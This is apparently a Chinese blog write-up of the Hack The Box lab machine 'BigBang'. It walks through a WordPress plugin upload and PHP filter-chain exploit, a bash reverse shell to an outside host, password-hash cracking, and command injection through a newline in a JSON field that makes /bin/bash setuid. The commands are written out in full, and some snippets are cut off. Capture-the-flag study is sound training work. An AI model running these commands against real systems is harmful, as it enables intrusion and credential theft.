HTB-H-bigbang
HTB-bigbang
index页面又文件上传
存在插件漏洞
去readme.txt可以看到版本号为2.7.7
然后参考漏洞复现
复现
- cat 1.php
1 | <?php |
php –define phar.readonly=0 1.php
strings 1.phar
//检查
开启python服务,然后传文件
1 | curl -i -F "action=upload_image_from_url" -F "url=http://10.10.16.5:80/evil.phar" -F "id=1" -F "accepted_files=image/gif" http://blog.bigbang.htb/wp-admin/admin-ajax.php |
然后用这个远程文件包含尝试一下进行phar反序列化
1 | curl -i -F "action=upload_image_from_url" -F "url=phar://../wp-content/uploads/2025/1-25.png" -F "id=1" -F "accepted_files=image/gif" http://blog.bigbang.htb/wp-admin/admin-ajax.php |
响应是失败的
解决问题1
利用工具实现任务文件读取
工具wrapwrap
生成一个 php://filter
链,为文件内容添加前缀和后缀。
1 | python3 wrapwrap.py /etc/passwd 'GIF89a' ';' 1000 |
解决问题2
拿不到shell,只能自己按照cnext走一遍
先读取版本
1 | filename='/lib/x86_64-linux-gnu/libc.so.6' ; python3 wrapwrap.py "$filename" 'GIF89a' '' 1200 >/dev/null && echo "action=upload_image_from_url&url=$(cat chain.txt)&id=1&accepted_files=image/gif" > curl_data.txt && curl -s -H 'Content-Type: application/x-www-form-urlencoded' -d @curl_data.txt http://blog.bigbang.htb/wp-admin/admin-ajax.php | jq '.response' | xargs curl -s -o - | sed -e 's/GIF89a//g' -e 's/=0A/\n/g' -e 's/=0D/\r/g' -e 's/>=.*//g' | strings | grep 'release version' |
然后根据读取的版本进行一个本地起一个
- docker run -it –rm debian:12.4
- apt update && apt install -y netcat-openbsd
- sudo nc -q 3 -lnvp 443 > libc.so.6
- kali这监听
- nc -q 3 -nv 172.17.0.1 443 < /lib/x86_64-linux-gnu/libc.so.6
- 在docker里往外传
拿到docker内部的shell
修改cnext脚本,把文件包含修改成rce,libc.so.6文件用本地的,之后
1 | python3 1.py http://blog.bigbang.htb/wp-admin/admin-ajax.php 'bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"' |
拿到shell
二段
1 | /var/www/html/wordpress/wp-config.php |
暂时没用
1 | curl -s http://10.10.16.5/chisel -o chisel |
查询
1 | mysql -h 127.0.0.1 -P 3306 -u 'wp_user' -p'wp_password' |
能查到用户密码的hash,然后就是爆破
1 | john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt |
得到quantumphysics
ssh连接得到
第一个flag
1 | ssh shawking@blog.bigbang.htb |
ps aux 看到3000-端口有root服务,通过ssh隧道带出来
netstat -tnl
可以看到9090端口,37837端口
1 | ssh -f -N -L 127.0.0.1:9090:127.0.0.1:9090 -L 127.0.0.1:3000:127.0.0.1:3000 -L 127.0.0.1:37837:127.0.0.1:37837 shawking@blog.bigbang.htb |
扫扫
1 | sudo nmap -Pn -sT -p9090,3000,37837 -sC -sV -oN forward.txt 127.0.0.1 |
3000端口
没有哪个啥,3000端口是个web服务
漏洞参考
查找有用信息
1 | find / -name '*grafana*' 2>/dev/null |
破解
sqlite3 grafana.db ‘select * from user;’ | cut -d ‘|’ -f 6,7 | tr ‘|’, ‘,’ > hashes.txt
python3 grafana2hashcat.py -o g2h.txt hashes.txt
hashcat -m 10900 g2h.txt –wordlist /usr/share/wordlists/rockyou.txt
这个获取的密码可以进行登录
- su developer
- bigbang
获得第二个账户
9000端口
查找可写文件,看看权限
1 | find / -type f -writable 2>/dev/null | grep -vE '/proc|/sys' |
分析一下apk
- apktool d -o decompiled_apk satellite-app.apk
- grep -iar ‘bigbang.htb’ decompiled_apk
扫描出来俩目录
1 | ./gobuster dir -u 'http://app.bigbang.htb:9090/' -w /usr/share/Seclists/Discovery/Web-Content/big.txt -t 100 -o dir.txt |
- curl -iX POST http://app.bigbang.htb:9090/login -H ‘Content-Type: application/json’ -d ‘{“username”: “developer”, “password”: “bigbang”}’
- 获取tocken
利用tocken去执行命令
1 | curl -si -X POST -H "Authorization: Bearer ${token}" -H 'Content-Type: application/json' -d '{"command": "send_image", "output_file": "\u000achmod 4777 /bin/bash"}' http://app.bigbang.htb:9090/command |
然后获取shell
1 | ls -l /bin/bash |
第二个flag
cat /root/root.txt出了
All articles on this blog are licensed under CC BY-NC-SA 4.0 unless otherwise stated.
Comments